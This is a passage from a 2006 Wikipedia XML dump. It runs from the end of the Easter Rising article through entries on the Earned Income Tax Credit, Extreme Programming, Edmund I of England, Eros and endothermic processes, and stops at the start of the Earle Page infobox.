==Socialism and the Easter Rising==
The Easter Rising has sometimes been described as the first [[socialist]] revolution in Europe. Whether or not such a statement is true is debatable. Of the leaders, only James Connolly was devoted to the socialist cause. Although the others nominally accepted the notion of a socialist state in order to convince Connolly to join them, their dedication to this concept is highly questionable at best. Political and cultural revolutions were much more important in their minds than economic revolution. Certainly men like Pearse were resigned to the notion that the rising would be a military failure, and thus any promises pertaining to its aftermath were inconsequential. Connolly clearly was skeptical of his colleagues' sincerity on the subject, and was prepared for an ensuing class struggle following the establishment of a republic. Furthermore, [[Eamonn De Valera ]], the most prominent surviving leader of the rising and a dominant figure in Irish politics for nearly half a century, could hardly be described as Socialist. Many years later, the [[Soviet Union]] would be the first and only country to recognise the [[Irish Republic]], later abolished under the [[Anglo-Irish Treaty]]. [[Lenin]], who was an admirer of Connolly, rounded on communists who had derided the Easter Rising for involving bourgeois elements. He contended that communists would have to unite with other disaffected elements of society to overthrow the existing order, a point he went on to prove the following year during the [[Russian Revolution of 1917|Russian Revolution]].

==Men executed for their role in the Easter Rising==
*[[Patrick Pearse]]
*[[Thomas J. Clarke]]
*[[Thomas MacDonagh]]
*[[Joseph Mary Plunkett]]
*[[Edward Daly]]
*[[William Pearse]]
*[[Michael O'Hanrahan]]
*[[John MacBride]]
*[[Eamonn Ceannt]]
*[[Michael Mallin]]
*[[Cornelius Colbert]]
*[[Sean Heuston]]
*[[Sean MacDermott]]
*[[James Connolly (nationalist)|James Connolly]]
*[[Thomas Kent]]
*[[ Roger Casement]]

==External links==
*[http://www.bbc.co.uk/history/war/easterrising/personal/index.shtml Essay on the Rising, by Garret Fitzgerald]

==Footnotes==
[[fnb|1]] There was a [[Boer Revolt|Boer uprising]] in [[South Africa]] at the start of [[World War I]] when [[Afrikaner]]s who wished to break the link between South Africa and the British Empire, allied themselves with the Germans of [[German South West Africa]]. The revolt was crushed by the forces loyal to the South African Government. In contrast to the British reaction to the Easter Rising, in a gesture of reconciliation the South African government was lenient on those rebel leaders who survived the rebellion and encouraged them to work for change within the constitution. This strategy worked and there were no further armed rebellions by [[Afrikaners]] who opposed links with Britain. In [[1921]] [[Jan Smuts]] a leading South African statesman and soldier was able to bring this example to the notice of the British Prime Minister [[David Lloyd George]] and it helped to persuade the British Government to compromise when negotiating the [[Anglo-Irish Treaty]].

==References==
*Max Caulfield, ''The Easter Rebellion, Dublin 1916'' ISBN 1-57098-042-X
*Tim Pat Coogan, ''1916: The Easter Rising'' ISBN 0-304-35902-5
*Michael Foy and Brian Barton, ''The Easter Rising'' ISBN 0-7509-2616-3
*Robert Kee, ''The Green Flag''
*F.X. Martin (ed.), ''Leaders and Men of the Easter Rising, Dublin 1916''
*Dorothy McCardle, ''The Irish Republic''
*F.S.L. Lyons, ''Ireland Since the Famine''  ISBN 0006332005
*John A. Murphy, ''Ireland In the Twentieth Century''
*Edward Purdon, ''The 1916 Rising''
{{WWITheatre}}

[[Category:History of Ireland 1801-1922]]
[[Category:Irish rebellion]]
[[Category:Wars of Ireland]]
[[Category:History of Dublin]]

[[de:Osteraufstand]]
[[es:Alzamiento de Pascua]]
[[eo:Paska Ribelo]]
[[fr:Insurrection de Pâques 1916]]
[[ga:Éirí Amach na Cásca]]
[[is:Páskauppreisnin]]
[[ja:イースター蜂起]]
[[he:מרידת חג הפסחא]]
[[nl:Paasopstand]]
[[nn:Påskeopprøret i 1916]]
[[pl:Powstanie wielkanocne]]</text>
    </revision>
  </page>
  <page>
    <title>Earned income tax credit</title>
    <id>10351</id>
    <revision>
      <id>40837889</id>
      <timestamp>2006-02-23T09:18:12Z</timestamp>
      <contributor>
        <username>Shangrilaista</username>
        <id>851950</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The [[United States]]' federal '''Earned Income Tax Credit''' (EITC) is a [[refundable tax credit]] that reduces or eliminates the taxes that low-income working people pay (such as [[payroll tax|payroll taxes]]) and also frequently operates as a wage subsidy for low-income workers. Enacted in 1975, the then very small EITC was expanded in 1986, 1990, 1993, and 2001.  Today, the EITC is one of the largest anti-poverty tools in the United States.  

Other countries with EITCs include Britain, Canada, Ireland, New Zealand, Finland, Belgium, France, the Netherlands and Denmark. In some cases, these are small (the maximum EITC in Finland is 290 Euros), but others are even larger than the US EITC (the UK EITC is worth up to 6150 Euros). 

== Structure ==
The EITC in the United States is characterized by a unique three-stage structure that consists of a phase-in range in which the credit increases as earnings increase, a plateau range in which the maximum credit has been reached and further earnings do not affect it, and a phase-out range in which the credit decreases as earnings increase.  Currently, for a family with two dependent children, the credit is equal to 40 percent of the first $10,750 earned, plateaus at a maximum credit of $4,400, begins to phase-out when earnings increase beyond approximately $15,000, and reaches zero when earnings pass approximately $35,000.  For a family with one dependent child, the structure is similar but has a phase-in rate of 34 percent and a maximum credit of $2,604.  For those filing without dependents, there is a small credit of 7.65 percent of earnings with a maximum of $380.  All dollar amounts are now indexed to inflation.

In addition to the federal EITC, 11 states have their own refundable EITCs.  These state plans mimic the federal EITC’s structure on a smaller scale, as individuals receive a state credit equal to a fixed percentage – between 15 and 30 percent depending on the state – of what they received from the IRS.  Furthermore, small local EITC’s have been enacted in New York City, Montgomery County in Maryland, and San Francisco.  

== Impact ==
The EITC is the largest [[poverty]] reduction program in the country.  Almost 21 million families received more than 36 billion dollars in refunds through the EITC in 2004.  These EITC dollars had a significant impact on the lives and communities of the nation&amp;rsquo;s lowest paid working people, lifting more than 5 million of these families above the federal poverty line. Since the poverty line can be a watermark for eligibility for state and federal benefits, taxpayers receiving the EITC are less eligible for [[entitlements]], and so the EITC reduces entitlement spending.

Economists suggest that every increased dollar received by low and moderate-income families has a [[multiplier]] effect of between 1.5 to 2 times the original amount, in terms of its impact on the local economy and how much money is spent in and around the communities where these families live.  Using the conservative estimate that for every $1 in EITC funds received, $1.50 ends up being spent locally, would mean that low income neighborhoods are effectively gaining as much as $18.4 billion. 

Research shows that the EITC has also boosted [[labor force participation]], particularly by low-educated single mothers. However, there is also evidence that this increase in labor supply has led to a [http://econrsss.anu.edu.au/~aleigh/pdf/EITC%20incidence.pdf fall in hourly wages] among those eligible for the credit.

== Uncollected tax credits ==

Millions of families who are eligible for the tax credit do not receive it, leaving billions of additional tax credit dollars uncollected.  Research by the [[General Accounting Office]] (GAO) and [[IRS]] indicates that between 15% and 25% of [[household|households]] who are entitled to the EITC do not claim their credit, or between 3.5 million and 7 million households.

The average EITC amount received per family in 2002 was $1,766. Using this figure and a 15% unclaimed rate would mean that low-wage workers and their families lost out on more than $6.5 billion, or more than $12 billion if the unclaimed rate is 25%.

==See also==

* [[Taxation in the United States]]
* [[Basic income]]
* [[Speenhamland]]
* [[Guaranteed minimum income]]
* [[Negative income tax]]

==External links==
*[http://www.cbpp.org/311eitc.htm New Research Findings on the Effects of the Earned Income Tax Credit, Center on Budget and Policy Priorities, March 11, 1998]
*[http://www.tax-coalition.org/ The National Tax Coalition]
*[http://www.irs.gov/pub/irs-pdf/p596.pdf Internal Revenue Service Publication 596 - Earned Income Credit]
*[http://digital.library.unt.edu/govdocs/crs/data/2005/meta-crs-7962.tkl The Earned Income Tax Credit (EITC): Percentage of Total Tax Returns and Credit Amount by State] a Congressional Research Service (CRS) Report

[[Category:Taxation in the United States]]</text>
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  <page>
    <title>Extreme Programming</title>
    <id>10352</id>
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      <id>41907914</id>
      <timestamp>2006-03-02T15:09:55Z</timestamp>
      <contributor>
        <username>Primetime</username>
        <id>457099</id>
      </contributor>
      <minor />
      <comment>tag mvd up</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}
{{Software-development-process}}

'''Extreme Programming''' (XP) is a [[software engineering]] [[methodology]] for the development of software projects. It prescribes a set of day-to-day [[Extreme_Programming#Practices|practices]] for developers and managers; the practices are meant to embody and encourage particular [[Extreme_Programming#Values|values]]. Proponents believe that the exercise of these practices, which are software engineering best practices taken to &quot;extreme&quot; levels, leads to a development process with the qualities prized by [http://agilemanifesto.org/ Agile Manifesto] signatories. This makes Extreme Programming the most prominent of several [[agile software development]] methodologies used to create software. Agile methodologies prioritize adaptability to changing requirements over the project predictability valued by more traditional methodologies. Some elements of the Extreme Programming methodology are [[Extreme Programming#Controversial aspects|controversial]].

== History ==
Extreme Programming was created by [[Kent Beck]], [[Ward Cunningham]], and [[Ron Jeffries]] during their work on the [[Chrysler Comprehensive Compensation System]] (C3) project. Kent Beck became the C3 [[project leader]] in March 1996 and began to refine the development methodology used on the project. Kent Beck wrote a book on the methodology and in October 1999, ''Extreme Programming Explained'' was published. Chrysler cancelled the C3 project in February 2000, but the methodology had caught on in the [[software engineering]] field. [[As of 2006]], a number of software development projects continue to use Extreme Programming as their methodology.

=== Origins ===
Software development in the [[1990s]] was shaped by two major influences. Internally, [[object-oriented programming]] replaced [[procedural programming]] as the programming paradigm favored in the industry. Externally, the [[dot-com|dot-com boom]] emphasized speed to market and company growth as competitive business factors. Rapidly changing requirements demanded shorter [[Product life cycle management|product life-cycles]], and were often incompatible with traditional methods of software development.

The Chrysler Comprehensive Compensation project was started in order to determine the best way to use object technologies, using the payroll systems at Chrysler as the object of research, with [[Smalltalk]] as the language and [[GemStone]] as the persistence layer. They brought in [[Kent Beck]], a prominent Smalltalk practitioner, to do [[performance tuning]] on the system, but his role expanded as he noted several issues they were having with their development process. He took this opportunity to propose and implement some changes in their practices based on his work with his frequent collaborator, [[Ward Cunningham]].

:''The first time I was asked to lead a team, I asked them to do a little bit of the things I thought were sensible, like testing and reviews. The second time there was a lot more on the line. I thought, &quot;Damn the torpedoes, at least this will make a good article,&quot; [and] asked the team to crank up all the knobs to 10 on the things I thought were essential and leave out everything else.'' &amp;mdash;[http://www.informit.com/articles/article.asp?p=20972&amp;rl=1 Kent Beck]

Beck invited [[Ron Jeffries]] to the project to help develop and refine these methods. Jeffries thereafter acted as a kind of coach to instill the practices as habits in the C3 team.

Information about the principles and practices behind XP was disseminated to the wider world through discussions on the original [[Wiki|WikiWiki]], Cunningham's [[WikiWikiWeb]]. Various contributors discussed and expanded upon the ideas, and some spin-off methodologies resulted (see [[agile software development]]).

Beck edited a series of books on XP, beginning with his own ''[[Extreme Programming Explained]]'', spreading his ideas to a much larger yet very receptive audience. Authors in the series went through various aspects attending XP and its practices, even a book critical of the practices.

=== Current state ===
XP created quite a buzz in the late 1990s and early 2000s, seeing adoption in a number of environments radically different from its origins.

The high discipline required by the original practices often went by the wayside, causing certain practices to be deprecated or left undone on individual sites. Agile development practices have not stood still, and XP is still evolving, assimilating more lessons from experiences in the field. In the second edition of ''Extreme Programming Explained'', Beck added more values and practices and differentiated between primary and corollary practices.

== Goal of XP ==
''Extreme Programming Explained'' describes Extreme Programming as being:

* An attempt to reconcile humanity and productivity
* A mechanism for social change
* A path to improvement
* A style of development
* A software development discipline

The main aim of XP is to lower the cost of change. In traditional system development methods (like [[Structured Systems Analysis and Design Methodology|SSADM]]) the requirements for the system are determined at the beginning of the development project and often fixed from that point on. This means that the cost of changing the requirements at a later stage (a common feature of software engineering projects) will be high.

XP sets out to lower the cost of change by introducing basic values, principles and practices. By applying XP, a system development project should be more flexible with respect to changes.

== XP values ==
Extreme Programming initially recognized just four values but a new value was added in the second edition of ''Extreme Programming Explained''.  The five values are:

*[[Communication]]
*[[Simplicity]]
*[[Feedback]]
*[[Courage]]
*[[Respect]] (the latest value)

Building software systems requires '''communicating''' system requirements to the developers of the system.  In formal software development methodologies, this task is accomplished through documentation. Extreme Programming techniques can be viewed as methods for rapidly building and disseminating institutional knowledge among members of a development team.  The goal is to give all developers a shared view of the system which matches the view held by the users of the system.  To this end, Extreme Programming favors simple designs, metaphor, collaboration of users and programmers, frequent verbal communication and feedback.

Extreme Programming encourages starting with the '''simplest''' solution and [[refactoring]] to better ones. The difference between this approach and more conventional system development methods is the focus on designing and coding for the needs of today instead of those of tomorrow, next week, or next month. Proponents of XP acknowledge the disadvantage that this can sometimes entail more effort tomorrow to change the system; their claim is that this is more than compensated for by the advantage of not investing in possible future requirements that may change before they become relevant. Coding and designing for uncertain future requirements implies the risk of spending resources on something that might not be needed. Related to the &quot;communication&quot; value, simplicity in design and coding should improve the (quality of) communication. A simple design with very simple code can be easily understood by every programmer in the team.

Within Extreme Programming, '''feedback''' relates to different dimensions of the system development:
*Feedback from the system: by writing [[unit test]]s the programmers have direct feedback from the state of the system after implementing changes.
*Feedback from the customer: The functional tests (aka [[acceptance tests]]) are written by the customer and the testers. They will get concrete feedback about the current state of their system. This review is planned once in every two or three weeks so the customer can easily steer the development.
*Feedback from the team: When customers come up with new requirements in the planning game the team directly gives an estimation of the time that it will take to implement.

Feedback is closely related to communication and simplicity. Flaws in the system are easily communicated by writing a unit test that proves a certain piece of code will break. The direct feedback from the system tells programmers to recode this part. A customer is able to test the system periodically according to the functional requirements (aka [[user story|user stories]]). To quote [[Kent Beck]], &quot;Optimism is an occupational hazard of programming, feedback is the treatment.&quot;

Several practices embody '''courage'''. One is the commandment to always design and code for today and not for tomorrow. This is an effort to avoid getting bogged down in design and requiring a lot of effort to implement anything else. Courage enables developers to feel comfortable with [[refactoring]] their code when necessary. This means reviewing the existing system and modifying it so that future changes can be implemented more easily. Another example of courage is knowing when to throw code away. Every programmer has experienced getting stuck on a complex problem in their own design and code after working on it all day, then coming back the next day with a clear and fresh view and rapidly solving the problem in half an hour.

The '''respect''' value manifests in several ways. In Extreme Programming, team members respect each other because programmers never commit changes that break compilation, that make existing unit tests fail, or that otherwise delay the work of their peers. Members respect their work by always striving for high quality and seeking for the best design for the solution at hand through refactoring.

== Principles ==
The principles that form the basis of XP are based on the values just described and are intended to foster decisions in a system development project. The principles are intended to be more concrete than the values and more easily translated to guidance in a practical situation.

'''Feedback''' is most useful if it is done rapidly. The time between an action and its feedback is critical to learning and making changes. In Extreme Programming, unlike traditional system development methods, contact with the customer occurs in small iterations. The customer has clear insight into the system that is being developed. He or she can give progress feedback and steer the development as needed.

Unit tests also contribute to the rapid feedback principle. When writing code, the unit test provides direct feedback as to how the system reacts to the changes one has made. If, for instance, the changes affect a part of the system that is not in the scope of the programmer who made them, that programmer will not notice the flaw. There is a large chance that this bug will appear when the system is in production.

'''Assuming simplicity''' is about treating every problem as if it can be solved &quot;extremely simply&quot;. Traditional system development methods say to plan for the future and to code for reusability. Extreme programming rejects these ideas.

The advocates of Extreme Programming say that making big changes all at once does not work. Extreme Programming applies '''incremental changes''': for example, a system might have small releases every three weeks. By making many little steps the customer has more control over the development process and the system that is being developed.

The principle of '''embracing change''' is about not working against changes but embracing them. For instance, if at one of the iterative meetings it appears that the customer's requirements have changed dramatically, programmers are to embrace this and plan the new requirements for the next iteration.

== Activities ==
XP describes four basic activities that are performed within the software development process.

=== Coding ===
The advocates of XP argue that the only truly important product of the system development process is code (a concept to which they give a somewhat broader definition than might be given by others). Without [[coding]] you have nothing.

Coding can be drawing diagrams that will generate code, scripting a web-based system or programming an object-oriented C# program that needs to be compiled.

Coding can also be used to figure out the most suitable solution. For instance, XP would advocate that faced with several alternatives for a programming problem, one should simply code all solutions and determine with automated tests (discussed in the next section) what solution is most suitable.

Coding can also help to communicate thoughts about programming problems. A programmer dealing with a complex programming problem and finding it hard to explain the solution to fellow programmers might code it and use the code to demonstrate what he or she means. Code, say the exponents of this position, is always clear and concise and cannot be interpreted in more than one way. Other programmers can give feedback on this code by also coding their thoughts.

=== Testing ===
One cannot be certain of anything unless one has tested it. [[Software testing|Testing]] is not a perceived, primary need for the customer. A lot of software is shipped without proper testing and still works (more or less).
In software development, XP says this means that one cannot be certain that a function works unless one tests it. This raises the question of defining what one can be uncertain about.

*You can be uncertain whether what you coded is what you meant. To test this uncertainty, XP uses [[Unit test|Unit Tests]]. These are automated tests that test the code. The programmer will try to write as many tests he or she can think of that might break the code he or she is writing; if all tests run successfully then the coding is complete.

*You can be uncertain whether what you meant is what you should have meant. To test this uncertainty, XP uses acceptance tests based on the requirements given by the customer in the exploration phase of release planning.

=== Listening ===
Programmers don't necessarily know anything about the business side of the system under development. The function of the system is determined by the business side. For the programmers to find what the functionality of the system should be, they have to [[listen]] to business.

Programmers have to listen &quot;in the large&quot;: they have to listen to what the customer needs. Also, they have to try to understand the business problem, and to give the customer feedback about his or her problem, to improve the customer's own understanding of his or her problem.

Communication between the customer and programmer is further addressed in The Planning Game (see below).

=== Designing ===
From the point of view of simplicity, one could say that system development doesn't need more than coding, testing and listening. If those activities are performed well, the result should always be a system that works. In practice, this will not work. One can come a far way without [[design]]ing but at a given time one will get stuck. The system becomes too complex and the dependencies within the system cease to be clear.

One can avoid this by creating a design structure that organizes the logic in the system. Good design will avoid lots of dependencies within a system; this means that changing one part of the system will not affect other parts of the system.

== Practices ==
{{details|Extreme Programming Practices}}

Extreme Programming has 12 practices, grouped into four areas, derived from the [[best practices]] of [[software engineering]]:

'''Fine scale feedback'''
* [[Pair Programming]]
* Planning Game
* [[Test-driven development|Test Driven Development]]
* Whole Team

'''Continuous process'''
* Continuous Integration
* Design Improvement
* Small Releases

'''Shared understanding'''
* Coding Standard
* Collective Code Ownership
* Simple Design
* System Metaphor

'''Programmer welfare'''
* Sustainable Pace

== Controversial aspects ==
The most controversial aspect of Extreme Programming is the [[change management]] aspect of the process. More formal software development processes require [[change request]]s to be analyzed and approved by a [[change control board]]. In Extreme Programming, the on-site customer makes changes informally, often by verbally informing the development team. Proponents of Extreme Programming claim this makes the process flexible, and saves the cost of formal overhead. Critics of Extreme Programming claim this can lead to costly [[rework]] and project [[scope creep]].

Other controversial aspects of Extreme Programming include:

* Requirements are expressed as automated acceptance tests rather than specification documents.
* Requirements are defined incrementally, rather than trying to get them all in advance.
* Software developers are required to work in pairs.
* There is no [[Big Design Up Front]]. Most of the [[design activity]] takes place on the fly and incrementally, starting with &quot;the simplest thing that could possibly work&quot; and adding complexity only when it's required by failing tests. Critics fear this would result in more re-design effort than only re-designing when requirements change.
* A [[customer representative]] is attached to the [[project]]. This role can become a single-point-of-failure for the project and some people have found it to be a source of stress.

It used to be thought that Extreme Programming could only work in small teams of fewer than 12 persons.  However, it has been ''claimed'' that XP has been used successfully on teams of over a hundred developers. It is not that XP doesn't scale, just that few people have tried to scale it, and proponents of XP refuse to speculate on this facet of the process.

In 2003, Matt Stephens and Doug Rosenberg published a book under Apress called &quot;Extreme Programming Refactored: The Case Against XP&quot; which questioned the value of the XP process and suggested ways in which it could be improved. This triggered a lengthy debate in articles, internet newsgroups and web-site chat areas. The core argument of the book is that XP's practices are interdependent but that few practical organisations are willing/able to adopt all the practices; therefore the entire process fails. The book also makes other criticisms and it draws a likeness of XP's &quot;collective ownership&quot; model to [[socialism]] in a negative manner.

Certain aspects of XP have changed since the book was published, in particular XP now accommodates modifications to the practices as long as the required objectives are still met. It also uses increasingly generic terms for processes. Some argue that these changes invalidate previous criticisms; others claim that this is simply watering the process down.

Recently, authors have attempted to reconcile XP with the older methods that XP sought to replace (such as the [[Waterfall model|waterfall]] method) in order to offer a unified method. See http://www.lux-seattle.com/resources/whitepapers/waterfall.htm for an example.

== Application of Extreme Programming ==
Controversial aspects notwithstanding, Extreme Programming remains a sensible choice for some projects. Projects suited to Extreme Programming are those that:

* Involve new or [[prototype]] technology, where the requirements change rapidly, or some development is required to discover unforeseen implementation problems.
* Are research projects, where the resulting work is not the software product itself, but domain knowledge.
* Are small and more easily managed though informal methods.

Projects suited for more traditional methodologies are those that:

* Involve stable technology and have fixed requirements, where it is known that no changes will occur.
* Involve [[mission critical]] or [[safety critical]] systems, where [[formal method]]s must be employed for safety or [[insurance]] reasons.
* Are large projects that may overwhelm informal communication mechanisms.

[[Project manager]]s must weigh project aspects against available methodologies to make an appropriate selection.

== See also ==
*[[Software engineering]]
*[[Agile software development]]
*[[Extreme project management]]
*[[Toyota Production System]]
*[[List of software development philosophies]]

== References ==
''General''
*[http://www.ics.uci.edu/~ses/teaching/ics121/histories/hherela/ Chrysler Comprehensive Compensation System]
*[http://groups.google.com/group/comp.software.extreme-programming/about comp.software.extreme-programming]

''Pro-XP''
*[[Kent Beck]]: ''Extreme Programming Explained: Embrace Change'', Addison-Wesley, ISBN 0201616416
*[[Kent Beck]] and [[Martin Fowler]]: ''Planning Extreme Programming'', Addison-Wesley, ISBN 0201710919
*[[Martin Fowler]]: ''Refactoring: Improving the Design of Existing Code'', Addison-Wesley, ISBN 0201485672
*[[Ken Auer and Roy Miller]]: ''Extreme Programming Applied: Playing To Win'', Addison-Wesley, ISBN 0201616408
*[[Ron Jeffries]], [[Ann Anderson]] and [[Chet Hendrickson]]: ''Extreme Programming Installed'', Addison-Wesley, ISBN 0201708426
*[[Kent Beck]] and [[Cynthia Andres]]: ''Extreme Programming Explained: Embrace Change, Second Edition'', Addison-Wesley, ISBN 0321278658

''Anti-XP''
*[[Matt Stephens]] and [[Doug Rosenberg]]: ''Extreme Programming Refactored: The Case Against XP'', Apress, ISBN 1590590961

''Background reading''
*[[Alistair Cockburn]]: ''Agile Software Development'', Addison-Wesley, ISBN 0201699699
*[[Jim Highsmith]]: ''Agile Software Development Ecosystems'', Addison-Wesley, ISBN 0201760436

== External links ==
*[[Ward Cunningham]]'s [[WikiWikiWeb]] page on [[WikiWikiWeb:ExtremeProgramming|Extreme Programming]]
*[http://www.nidelven-it.no/articles/extreme_programming Client-oriented introduction to XP]
*[[Ron Jeffries]] web-mag [http://www.xprogramming.com/ XProgramming.com - an Extreme Programming Resource]
*[http://www.extremeprogramming.org/ ExtremeProgramming.org]
*[http://www.xp2006.org/ XP2006, the 7th International Conference on eXtreme Programming and Agile Processes in Software Engineering] (with links to earlier conferences)
*[http://www.objectmentor.com/processImprovement/xpCaseStudies Case study links at Object Mentor]
*[[Matt Stephens]]'s satirical website, for an in-depth critique of [http://www.softwarereality.com/ExtremeProgramming.jsp Extreme Programming problems] (also see [http://www.softwarereality.com/lifecycle/xp/links.jsp this page] for further links to XP critiques)
*[http://web.archive.org/web/20041009200611/http://martinfowler.com/xp.html Martin Fowler on XP] (on the [[Internet Archive]], archived Oct 9, 2004
*[http://PairProgramming.com/ Pair Programming, an Extreme Programming practice]
*[http://www.agilemanifesto.org/ Manifesto for Agile Software Development]
*[http://citeseer.ist.psu.edu/cis?q=%22Extreme+Programming%22 Citations from CiteSeer]
*Article [http://www.methodsandtools.com/archive/archive.php?id=2 XP Testing Without XP: Taking Advantage of Agile Testing Practices] from the [http://www.methodsandtools.com Methods &amp; Tools] magazine
*Article [http://www.methodsandtools.com/archive/archive.php?id=10 Will Pair Programming Really Improve Your Project?] from the [http://www.methodsandtools.com Methods &amp; Tools] magazine
*Article [http://www.methodsandtools.com/archive/archive.php?id=28 Extreme Programming as Nested Conversations] from the [http://www.methodsandtools.com Methods &amp; Tools] magazine
*[http://agiletoolkit.libsyn.com Agile Toolkit] [[Podcast]] - Conversations with the Agile Community
*Article [http://www.laputan.org/mud/ Big Ball of Mud] by Brian Foote and Joseph Yoder, Department of Computer Science, University of Illinois at Urbana-Champaign

[[Category:Extreme Programming]]
[[Category:Software development philosophies]]

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  </page>
  <page>
    <title>Eschrichtiidae</title>
    <id>10353</id>
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      <contributor>
        <username>Tannin</username>
        <id>6169</id>
      </contributor>
      <minor />
      <comment>#redirect [[Gray Whale]]</comment>
      <text xml:space="preserve">#redirect [[Gray Whale]]</text>
    </revision>
  </page>
  <page>
    <title>Edmund I of England</title>
    <id>10354</id>
    <revision>
      <id>38804293</id>
      <timestamp>2006-02-08T19:42:10Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
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      <minor />
      <comment>robot  adding: pl</comment>
      <text xml:space="preserve">{{Infobox Monarch Basic 
| name=Edmund I
| title=King of England
| image=[[Image:Edmund I of England.jpg]]
| rank=10th
| reign=[[October 27]],[[939]] &amp;ndash; [[May 26]],[[946]]
| date of birth=[[921]]
| place of birth=[[Wessex, England]]
| date of death=[[May 26]],[[946]]
| place of death=|
| place of burial=[[Glastonbury Abbey]]
| married=Elgiva and Ethelfleda
| father=[[Edward the Elder]]
| mother=[[Edgiva of Kent]]
}}

'''Edmund I''', or ''Edmund the Deed-Doer'' (''Eadmund'') ([[921]]&amp;ndash;[[May 26]], [[946]]) was [[Kingdom of England|King of England]] from [[939]] until his death. He was a son of [[Edward the Elder]] and half-brother of [[Athelstan of England|Athelstan]].

Athelstan died on [[October 27]], 939, and Edmund succeeded him as King.  Shortly after his proclamation as king he had to face several military threats.  King [[Olaf III Guthfrithson|Olaf I of Dublin]] conquered [[Northumbria]] and invaded the [[Midlands]].  When Olaf died in [[942]] Edmund reconquered the Midlands.  In [[943]] he became the god-father of King [[Olaf of York]].  In [[944]], Edmund was successful in reconquering Northumbria.  In the same year his ally Olaf of York lost his throne and left for [[Dublin]] in [[Ireland]].  Olaf became the king of Dublin as [[Olaf Cuaran]] and continued to be allied to his god-father.  In [[945]] Edmund conquered [[Strathclyde]] but conceded his rights on the territory to King [[Malcolm I of Scotland]].  In exchange they signed a treaty of mutual military support.  Edmund thus established a policy of safe borders and peaceful relationships with [[Scotland]].  During his reign, the revival of [[monastery|monasteries]] in England began.

Edmund was murdered in 946 by Leofa, an exiled thief. He had been having a party in [[Pucklechurch]], when he spotted Leofa in the crowd. After the outlaw refused to leave, the king and his advisors fought Leofa. Edmund and Leofa were both killed. He was succeeded as king by his brother [[Edred of England|Edred]], king from [[946]] until [[955]].

Edmund's sons later ruled England as:
*[[Edwy of England|Edwin of England]], King from [[955]] until [[957]], king of only [[Wessex]] and [[Kingdom of Kent]] from [[957]] until his death on [[October 1]], [[959]].
*[[Edgar of England]], king of only [[Mercia]] and [[Northumbria]] from [[957]] until his brother's death in [[959]], then king of England from [[959]] until [[975]].

{{start box}}
{{succession box|
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 title=[[List of British monarchs|King of England]]|
 years=[[939]]&amp;ndash;[[946]]|
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}}
{{end box}}

[[Category:921 births]]
[[Category:946 deaths]]
[[Category:Anglo-Saxon monarchs]]

[[ang:Ēadmund Æðeling]]
[[de:Edmund I. (England)]]
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[[it:Edmundo I d'Inghilterra]]
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[[no:Edmund I av England]]
[[pl:Edmund Starszy]]
[[pt:Edmundo I de Inglaterra]]
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  </page>
  <page>
    <title>Eros</title>
    <id>10355</id>
    <revision>
      <id>39031557</id>
      <timestamp>2006-02-10T06:03:36Z</timestamp>
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      <text xml:space="preserve"> 
* [[Eros (god)|Eros]], a [[deity|god]] in [[Greek mythology]]


'''Eros''' can also refer to:
* The [[Greek language|Greek]] [[word]] ''[[Eros (love)|Eros]]'', which means &quot;[[Human sexual behavior|sexual love]]&quot;
* [[433 Eros]], an [[asteroid]]
* EROS, the &quot;[[Extremely Reliable Operating System]]&quot;
* Pjur Eros, a premium latex-safe personal lubricant
* [[Eros (Freud)|Eros]], the life instinct postulated by [[Sigmund Freud|Freudian]] [[psychology]], standing in opposition to [[Thanatos]]
* The [[Eelam Revolutionary Organisation Of Students]], a [[militant]] [[Tamil people|Tamil]] group.
* A statue in [[Piccadilly Circus]], [[London]], which is commonly known as ''Eros'' but is in fact meant to represent ''The [[Angel]] of [[Christianity|Christian]] [[Charity]]''
*An international distribution company for Indian films
*''[[Eros (film)]]'', a [[2004 in film|2004 film]].
* [[EROS (satellite)|EROS]] an [[Israel|Israeli]] commercial [[Earth observation satellite]], designed and manufactured by [[Israel Aircraft Industries|IAI]].
* [[Event Related Optical Signal|EROS]], a brain-scanning technique.


{{disambig}}

[[da:Eros]]
[[de:Eros]]
[[he:ארוס]]
[[it:Eros]]
[[nl:Eros]]
[[pl:Eros]]
[[pt:Eros (desambiguação)]]
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  </page>
  <page>
    <title>Endothermic</title>
    <id>10356</id>
    <revision>
      <id>42009417</id>
      <timestamp>2006-03-03T04:50:13Z</timestamp>
      <contributor>
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      </contributor>
      <comment>mergd in endothermic reaction</comment>
      <text xml:space="preserve">'''Endothermic''' means to absorb heat.  Its etymology stems from the Greek suffix ''–thermic'', meaning “to heat”, and the Greek prefix ''endo-,'' meaning “inside”.  It refers to a transformation in which a system receives heat from the surroundings: ''Q &gt; 0''.  When the transformation occurs at constant pressure: ''∆H &gt; 0''; and constant volume: ''∆U &gt; 0''.  If the surroundings do not supply heat, an endothermic transformation leads to a drop in the temperature of the system.

In [[chemistry]] an '''endothermic reaction''' is one in which the [[products]] have more [[energy]] than the [[reactants]]. A net input of energy, usually in the form of heat, is required. Endothermic reactions absorb [[heat]] from their environment, and contrast with [[exothermic reactions]], in which heat is released.
  
Although the process of bond breaking amongst reactants in a chemical process requires an initial input of energy (the [[activation energy]]), in the case of an endothermic reaction, the energy released when bonds are formed to create reactants is less than that required to break the bonds in the products; bonding electrons in the products are therefore at a higher energy than the reactants. Heat energy from the material surrounding the reactants is usually what breaks their bonds, so as heat energy is transferred from the surroundings to the reactants, the surroundings get colder. This is often summarized in a [[chemical equation]] as follows:  

:Reactants + Energy &amp;rarr; Products


==See also==
*[[Warm-blooded|Exothermic]]

== References ==
* {{cite book
 | last = Perrot | first = Pierre
 | title=A to Z of Thermodynamics
 | publisher=Oxford University Press
 | year=1998
 | id=ISBN 0198565526
 }}

[[Category:thermodynamics]]

[[de:Endotherm]]
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  </page>
  <page>
    <title>Earle Page</title>
    <id>10357</id>
    <revision>
      <id>40950457</id>
      <timestamp>2006-02-24T01:53:35Z</timestamp>
      <contributor>
        <username>Porturology</username>
        <id>281675</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox PM
 | name=Rt Hon Sir Earle Page
 | image=Earlepage.jpg
 | country=Australia
 | term=[[7 April]]&amp;ndash;[[26 April]], [[1939]]
 | before=[[Joseph Lyons]]
 | after=[[Robert Menzies]]
 | date_birth=[[8 August]] [[1880]]
 | place_birth=[[Grafton, New South Wales|Grafton]], [[New South Wales]]
 | date_death=[[20 December]] [[1961]]
 | party=[[National Party of Australia|Country]]
}}
